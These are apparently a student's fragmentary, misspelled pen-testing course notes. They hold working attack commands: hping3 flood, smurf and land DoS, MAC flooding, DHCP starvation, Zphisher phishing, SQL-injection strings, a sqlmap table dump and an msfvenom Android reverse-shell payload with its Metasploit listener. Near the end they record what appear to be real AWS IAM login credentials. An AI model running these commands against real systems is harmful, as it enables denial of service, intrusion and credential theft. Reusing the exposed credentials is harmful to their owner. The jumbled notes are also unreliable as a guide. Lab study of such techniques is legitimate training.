Cyber Secuirity Notes For Pen Testing
Cyber Secuirity Notes For Pen Testing
apt install terminator -y (to open ultiple shels split horizontly or vertically )
pen testing
evalute orgnization ability to protect infrstructur
how well orgnization policies
simulate attack to analyze technical flaws design weekness
live happy today what you want to do in life
defining the scope (what will be tested)
performing the testing (categories the vulunbrlities)
info gathering
scaning reconses
fingerprinting enumration
vunerability
vulnurbility assesment
exploit research reporting
footprinting racce
// stealth yourself
use of tools
two types
passive footprinting
gatther informstion without interaction linkdin
use public information be stealth
complete network map through footprinting
employe account email
sub directories
secuirty companies
geological location
secuirty policies
data on partners and execuives
gathering technical info
dns >> sub dns >>operating systems(ORNIZATIONAL STRUCTURE/ sub domain is not
protected)
active footprinting
**************/////////////////////////////////////////////////////////////////////
//////////////////////////////***************
**************/////////////////////////////////////////////////////////////////////
/////////////////////////////****************
email
network
socia engneering
whois
dns footprinting
use free tools(become nuetrilixe as become unpopular)
tool should be unknown or upaid and latest tool.
scanning
enumration
**{{{{tool netcraft.com}}}}
go to resources>>
site report
ip same rahy
detailed version of technoogy apache
php enabled
client side javascript
html5
css enabled
vulnerbility identification >> how to exploit
reosurcs>> search dns to subdomains>>
f5 big ip(load balancer)
>>site neighbours
indirect approach ypu atttack site neighbours to comproomise server.
cloud flare give ddos protection
site:google.com -inurl:www (tofind subdomain)
define:cyber secuirty (only show links of defination )
ec-council filetype:pdf (only pdf)
<pdf contain detailed info about orgnization>
intitle:login site:ecouncil.com
any site have login ontop injection attack
google hacks tool
subbrute master github
cd
**subrute.exe corvit.com ()
ports
found in layer 4 {transport layer}
layer 3 {network layer contain ip }
layer 7 {application layer}
port ranges 1-656535
1-1023 well know ports
1024 - 65535 random port
server got well known while client get random
http 80 >> https 443
smtp port 25 for email
telnet port:23 {for remote connectivity}
transport layers give you segmentation email seprate web seprate ftp alag segmant
cisco country:pk port:23 {to check how many devices of cisco in pakistan}
product:apache + country:pk
webcam country:au {to see webcams details on the network}
PEN TESTING
ON CMD PING (WEB ADDRESS) {to find ip of website]
** ip2location.com {to find location of server]
put coordinates and street view on google map
**peekyou.com {people details}
deep and darkweb footprinting
85 % deep web search engines can't search
dark web is the subset of dee[p web
anonymsouly navigate ??? browser tor browser the onion router
yes want to connect
hackerforhire.io
onion links
/////////////////////////scanning///////////////////////
To discover live ports ip address live hosts
live hosts are those whose ip respond
discover open ports
operating system and system architecture
service runing on host
to discover vulunrbility
tools of active scanning
**nmap {cli and gui versions zenmap}
**hping3 cli based network scanning tool and packet crafting tool
**metasploit {exploit, vulunbritlity validation, payload, scanning} // powerfull
tool
**netscan
**unicornscan
???????????tasks???????????
live hosts
open ports
services
apache server version
op
operating system -A
ports -sn -pr
on cent os
whoami
cd change directory
pwd print working directory (current location)
ls list all directories and file within current directory
tab autocomplete the command
$ normal user
# root user
~ HOME DIRECTORY
root account : username havr aacessn to all accounts
root as/ : very first directory in linux nothin above it
cd /
pwd
ls
blue indicates directory
white color have no code its regular
bright green .exe file
bright red archive or compressed file
cat /etc/os-release (to see version of os)
mkdir to create new directory
ls -a lsdt all dierctories
ls -ltr
man ls {get help}
mkdir a
mkdir a b {multiple directory creation}
ls {to see list of directory}
ls -lt
cd.. one step back directory
cd to jump into home directory
cd / to go onto root
cd ~/ to go to home
touch,editor (vim,vi, nano)
===display file content // cat, openfile in specific edition
touch file1 file2 file3 {create files at a time}
vi file4 {to edit file}
i to insert any text in file
esc :wq
absolute path begin with / home/admin/d
realtive path cd d/
cp for copy
cp file2 /home/admin/e
cp file2 e/
13 -0 2023
grub 2 act as bootloader
cd /
cd boot/
cd grub.cfg
su - to login as admin
cat/etc/jostname {to see ostname of machine}
hostnamectl Corvit-server.local
hostname
hostnamectl set-hostname corvit-server.local
/proc details of running process
/var
three types of file permisions read write and execute
permision using nummeric codhmod
chown admin -a -r
trojans show as a legitmate programe used in socail engneering and also used for
spying.
rats executed remotely and give access to attacker such as key logger
ransomewhere encypt and hold data for ransom
dropper prrpose is to hold or add additional malware in the system.
>>techniques
mac flooding
dns poisning
arp spoofing
dhcp attacks
switchport stealing
spoofing attack
sh ip int br
sh rn |s ip route
ping gateway
ping roter from kali
conf line vty 0 ?
password corvit
login
transport input ?
transport input all
wireshark on kali
eth1
on kali
telnet 150.1.7.103
corvit
on kali
apt install dsniff -y
macof -i eth1
//mac flooding
dhcp starvation
assign automatically aassign ip address
you define pool and it assign
r1 to c reate router dhcp server
dhcp server
service dhcp
ip dhcp pool test
network 150.1.7.0 255.255.255.0
defualt-router 150.1.7.100
ip dhcp excluded-address 150.1.7.1 150.1..7.150
r2
int eth 0/0
ip address dhcp
no sh
on kali
apt install yersenia -y
yersenia -G
dhcp
dhcp
interface eth1
luanch attack
dhcp discover
22 jun 2023
show ip arp
clear ip arp *
ettercap -G
primary interface eth1
slow lorace
xamp htdocs dashboard
msfconsole -q
search slowloris
options
use
options
...................................................................................
...................................
//////////////////////////////////////////
DOS ///////////////////////////////////////////////////////////////////////
...................................................................................
...................................
attacker creates the handelrs
handlers scan networks
identify nodes in network vulnerable
install bots on them
they create bot network
master handler control that malicious code
compromised nodes are termed as zombies
zombies combine to atack on main target
**impacts
loss of goodwill
disabled
financial loss
disabled network
smurf attack
on victim open wireshark
port 0
icmp filter
open kali
ping destinantion
hping3 -1 --flood -spoof ...115 ip sent to 255 ::255 broadcast address
ctrl c to stop
land attack
run windowa 10 pache server
we sent syn packet that will create victim as source and as victim so countinous
loop will start
on kali
hping3 -S -p 80 150.1.7..102 -a 150.1.7.102 --flood
enable port 80
router
conf t
ip http server
debug ip packet
pc add eve
set pcname pc1
ip 150... 150. .100
on kali
ping of death attack
we increase the size of packet
ping victim ip
ping ip -S 65500 -t 1
26 june 2023
targetting the social behaviour of target
phishing where attacaker decieve people into revealing imformation or installing
malware.
kali linux have social engneering tool kit
application >> social engneering toolkit
encrypt payload if etected b android
may be encryption algo written in python
option 1
option 2
option 3
1
150.1.7.101
3
on browser kali ka ip
on ip to url converter
long to short url
zfisher github
code
select path and copy
git clone paste path
ls
chmod a+x zphisher //alot executable permisions
ls -ltr
cd zphisher
ls
bash zphisher.sh
01
02
n
n
copy link
owasp
open web application secuirity project
i
linux-bwapp
addons/qemu
cd opt/unetlab/addons/qemu/
/opt/unetlab/wrapper/unl/wrapper -a fixpermissions
ls
right click add node linux-bwapp
connect switch
1.7.200 wala ip
top right
enable wired nwtwork
left
console
ifconfig
bee
bug
choose bug
system prefernces keyboard
layout
uk
belgium remove
network
manual configuration
unloack
bug
wired connection
disable roaming mood
150.200
255
gatway 100
ok
sudo su
bu
cd /etc
cd /init.d
ls
./networking
./networking restart
session hijacking
crossite scripting to access
cookies man in the middle
sniffing
attacker siezes to controle valid tcp communicaion sessions between two computers
active hijacking breaks session between server and client and controle it by
himself
passive hijacking hijacks and listens and recor all trafic flowing through client
and server
spoofing attackers pretend to be user or another machine
hijacking seize the active session
burpsuit for session hijacking
cd burp-suit
ls
./kali_linux......
hypervisor creates
burpsuit github clone
ok
copy key
agree key
paste key
1manual activation
copy data and paste here
copy and paste
fnish
temp proj
start
proxy
intercept
settings of browser
network settings
manual proxy
127.0.0.1 8080\also use for https
http://burp/
ca certificate
settings
search certificates
import
to visit web and mail server
testphp.vulnweb.com
intercept on
dign up
b forwad
user name psd test
right click
do intercept request to this response
your profile
connection
cookie paste the copied cookie
ls
mkdir wireless
cd wireless
decryption
server hacking
compute (cpu + ram)
networking co mponenet
storage (HDD /ssd)
in cloud vcpu is measuring in cloud
pc / server
web server apache engin x microsoft iis to associate services and store ata to
sprcific compartments
for domain information
who is database
whoisdomaintools.com
robtex.com
knock.py git clone
ls
c knock
ls
pip3 install -r requirments.txt
python3 knock.py
dhcp
types of web services
soap
kali
open kali
open meta
nacces dvwa login
turn on proxy
sql injection
testphp.com
login test test
root /var/www/mutillidae
ls
config.inc
vim congig.inc
dbname owasp10
aaa' or 1=1 #
orrrrrrrrrrrr
admin'# dont need to enetr pass
root
'OR'1='1
MALTEGO
apt update upgrade
apt install maltego
maltego
[email protected]
lbd domain
dig domain
wafw00f domain
api secuirity
and iot secuirity
examine url http header, query string parameter. post data, cookies
user agent refer, accept,accept,accept lenguage host headers
server fingerprinting
examine url
examine session tokens
whatweb
whatweb -v web name
censys.io
git clone SHERLOCK POJECT
saveweb2zip.com
for web cloning
visual workbench of netbrains
c99
caterpillaer webshell
china chopper
r57
php based web shell allow to moniter running processes execute remote command to
download upload erse
demotestfire.net
for sql injection test
' OR 1=1--
'OR'1'='1
WIFIPHISHER
file
new vm
next
next
later
linux 5.x or later
next
name
processor
atleast 2gb ram
next nat
lsi
scsi
an existing v disk
browse vmdk
accelerated 3 graphic enable
close finsdh
create payload from kali
ifconfig eth1
msfvenom -p androoid/meterpreter/reverse_tcp LHOST=150.1.7.101 LPORT=1234 R>giu.apk
mv giu.apk /var/www/html
ls /var/www/html
service appache2 start
msfconsole -q
use exploit/multi/hanler
set payload android/meterpreter/reverse_tcp
set LHOST 150.1.7.101
set LPORT 1234
show options
run
1'2000%23
scsi small computer system interconnection {protocole used to communicate b/w cpu
and hdd}
jbod just a bunch of disk
sas serially attached scsi {used same in hdd /cpu communication}
sata (serially advanced attachment )nvme non volatile for ssd defacto type
protocole
sql map
on kali
dvwa sec low
activate proxy
copy phpessid
url
kali console
sqlmap -u (paste url of sql blin inj in double qoutes)--cookie="pste phpessid
cookie value" -D dvwa -T users --columns --dump
y
y
sqlitebrowser session.sqlite
create a new database
MYDB name save on desktop
my first table
add
name ali select type
hasan numeric
aws
search iam
manage acces to aws resources open link in tab
user add user
cloud1
craete iam user
custom password
create the user
download
iam
cgensoft1234
cloud1
Husn@1n970
iops-input output operations per second
mobaxterm for acessing ec2
public ip
ec2-user
advanced ssh
use private key
ok
cat /etc/os-release
FcC-;mPnaNIy6KMFYDUpVYtslGh)cu8S
[email protected]